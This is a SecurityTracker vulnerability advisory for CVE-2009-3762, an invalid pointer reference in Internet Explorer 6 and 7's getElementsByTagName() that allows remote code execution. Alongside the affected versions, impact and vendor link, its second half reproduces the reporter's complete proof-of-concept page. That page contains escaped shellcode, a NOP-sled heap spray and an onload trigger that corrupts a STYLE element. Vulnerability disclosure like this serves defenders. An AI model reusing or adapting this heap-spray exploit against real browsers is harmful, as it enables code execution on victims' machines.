Microsoft Internet Explorer Invalid Pointer Reference in getElementsByTagName() Method Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1023226 |
|
SecurityTracker URL: http://securitytracker.com/id/1023226
|
|
CVE Reference:
CVE-2009-3762
(Links to External Site)
|
Updated: Nov 24 2009
|
Original Entry Date: Nov 23 2009
|
Impact:
Execution of arbitrary code via network, User access via network
|
Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 6, 6 SP1, 7
|
Description:
A vulnerability was reported in Microsoft Internet Explorer. A remote user can cause arbitrary code to be executed on the target user's system.
A remote user can create a specially crafted style sheet that, when loaded by the target user, will trigger an invalid pointer reference error in the getElementsByTagName() method and execute arbitrary code on the target system. The code will run with the privileges of the target user.
IE 5.01 SP4 for Microsoft Windows 2000 SP4 is not affected.
IE 8 is not affected.
K4mr4n_st at yahoo.com reported this vulnerability.
|
Impact:
A remote user can create a CSS page that, when loaded by the target user, will execute arbitrary code on the target user's system.
|
Solution:
No solution was available at the time of this entry.
The vendor's advisory is available at:
http://www.microsoft.com/technet/security/advisory/977981.mspx
|
Vendor URL: www.microsoft.com/technet/security/advisory/977981.mspx (Links to External Site)
|
Cause:
Access control error
|
Underlying OS:
Windows (2000), Windows (2003), Windows (2008), Windows (Vista), Windows (XP)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 20 Nov 2009 11:04:29 -0700
Subject: IE7
|
<!--
securitylab.ir
K4mr4n_st () yahoo com
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<HTML xmlns="http://www.w3.org/1999/xhtml";>
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">
body{ overflow: scroll; margin: 0; }
</style>
<SCRIPT language="javascript">
var shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
</HEAD>
<BODY onload="load()">
</BODY>
</HTML>
|
|